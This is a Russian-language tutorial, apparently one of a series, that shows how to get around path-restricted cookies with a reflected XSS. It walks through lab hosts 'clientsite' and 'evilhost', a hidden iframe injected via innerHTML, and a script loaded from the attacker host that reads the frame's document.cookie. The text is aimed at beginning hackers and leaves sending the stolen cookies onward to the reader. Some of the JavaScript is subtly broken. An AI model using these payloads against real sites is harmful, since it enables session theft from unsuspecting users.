Второй пример: угон cookies, зона действия которых ограничена. Хоть и это относится к угону cookies, но обычным угоном значения document.cookie здесь ничего не сделаешь.
Небольшая справка для тех, кто не представляет себе, что такое зона действие cookies: Здесь имеется в виду то, что cookies могут передаваться не всему сайту, а отдельной его директории (или скрипту). Это может создать затруднения для начинающих взломщиков. Если, например, зона действия cookies ограничена папкой /dir/ на сайте site.com, то, найдя XSS в корне сайта, или в какой либо другой директории (помимо /dir/), с помощью document.cookie cookies Вы получить не сможете.
Далее в папке www папки clientsite создайте директорию cookdir. Займёмся кодингом - напишем скрипт, который будет устанавливать cookies с ограниченной зоной действия. Вот его код:
<?php
# отключаем вывод ошибок
error_reporting(0);
# если в cookies с именем test ничего нет, то создаём cookies.
if (strlen($_COOKIE['test'])==0) {
# test – имя cookies, hacker – значение, которое там будет находиться.
# time()+3600 – время действия cookies - это 1 час с момента создания
|
|
# /cookdir/ - папка, которой ограничено действие cookies.
setcookie("test","hacker",time()+3600,"/cookdir/");
} else {
# Если же cookies установлены то выводим их на экран.
print "Cookie: ".$_COOKIE['test'];
}
?>
Назовём этот скрипт index.php и поместим в папку cookdir хоста clientsite. Теперь откройте браузер и перейдите по адресу http://clientsite/cookdir/. Вы должны увидеть пустую страницу. Далее обновите её и увидите содержимое cookies:
После этого обратитесь к корню сайта с параметром word равным <script>alert(document.cookie)</script>
http://clientsite/index.php?word=<script>alert(document.cookie)</script>
Если предыдущий скрипт Вы написали правильно, то cookies Вы не увидите из-за их ограниченной зоны действия:
Вот тут то и может застопориться начинающий взломщик – смотрим в браузере cookies – они есть, проводим XSS – их нет. Что бы обойти данное ограничение мы воспользуется html-тегом iframe - данный тег используется для создания отдельных, независимых фреймов. Грубо говоря, он не является потомком основного документа, а сам представляет собой документ. Огромный плюс для взломщика этот тэг представляет из-за того, что с помощью него можно эмулировать действия пользователя. Тэг iframe имеет свойство src – адрес источника, откуда нужно загрузить данные в документ. Сделаем следующее: введём в качестве значения параметра word следующий код:
<iframe src=/cookdir/ width=100 heigth=100></iframe>
После нажатия Enter Вы должны увидеть следующее:
Как видите, браузер встретив тэг <iframe> обратился к пути указанному в src, к тому же видно что он передал туда cookies, так как там зона действия cookies не ограничена. Далее нужно будет сделать следующее: разместить на нашем сайте (evilhost) скрипт написанный на JavaScript (далее JS), который выведет в окно пользователя тэг <iframe> (скрипт с этим кодом мы подключим через XSS). Так как iframe создаёт новый документ то и объект cookie содержит совершенно иную информацию, а именно – cookies, которые передались открывшемуся документу. В нашем случае это как раз те cookies, которые мы пытались достать в начале, но не смогли из-за ограничений их зоны действия. Далее с помощью того же JS-кода мы получим значение объекта cookie и выведем их на экран функцией alert().
|
|
Итак, начнём. Наш скрипт, содержащий вредоносный код мы назовём xss_code.js. В начале работы нашего скрипта нам необходимо вывести iframe – для этого мы будем использовать innerHTML так же как и в первом варианте – то есть просто допишем код в документ:
function WriteIframeCode(){
var div=document.getElementById("main_div");
div.innerHTML=div.innerHTML+"<iframe style="display:none" onload=show_cookies(); name=evilframe id=evilframe src=http://clientsite/cookdir/index.php></iframe>"
}
Обратите внимание на следующие моменты:
· Свойство style содержит “display:none” что делает наш фрейм невидимым.
· name и id это имя фрейма и его id. Это нужно для последующего обращения к нему с помощью JS.
· http://clientsite/cookdir/index.php - адрес откуда нам надо взять cookies
· onload=show_cookies() – при окончании загрузки данных во фрейм вызываем функцию show_cookies()
А вот, собственно, и код функции show_cookies():
function show_cookies(){
var client_cookies=window.evilframe.document.cookie;
alert(client_cookies);
}
Тут мы в переменную client_cookies выводим объект cookie, который имеется в нашем фрейме(evilframe), а затем выводим client_cookies через функцию alert(). С самого начала скрипта нам нужно вызвать эти 2 функции – сначала write_code(), а затем show_cookie(). То есть у нас получается следующий код:
// Как только скрипт загружен, вызываем необходимые функции
WriteIframeCode();
// Код функций.
function WriteIframeCode(){
var div=document.getElementById("main_div");
div.innerHTML=div.innerHTML+"<iframe style="display:none" onload=ShowCookies(); name=evilframe id=evilframe src=http://clientsite/cookdir/index.php></iframe>"
}
function ShowCookies(){
var client_cookies=window.evilframe.document.cookie;
alert(client_cookies);
}
Сохраните данный скрипт (xss_code.js) в корне нашего атакующего хоста (/home/evilhost/www/).
Теперь нам осталось только подключить данный код к уязвимой странице с помощью такого запроса:
http://clientsite/index.php?word=<script src=http://evilhost/xss_code.js></script>
Если Вы всё сделали правильно, то должны увидеть то что лежит в cookies которые мы пытаемся достать, а именно:
Вот и всё, наша задача выполнена. Мы получили нужные cookies, куда они отправятся потом – дело Ваше. Ещё стоит обратить внимание вот на что – таким способом cookies от какого-либо другого сайта Вы не получите, то есть вы можете получать cookies только внутри определённого домена. Если же Вы загрузите в iframe документ из другого домена то браузер запретит Вам обращаться к его содержимому.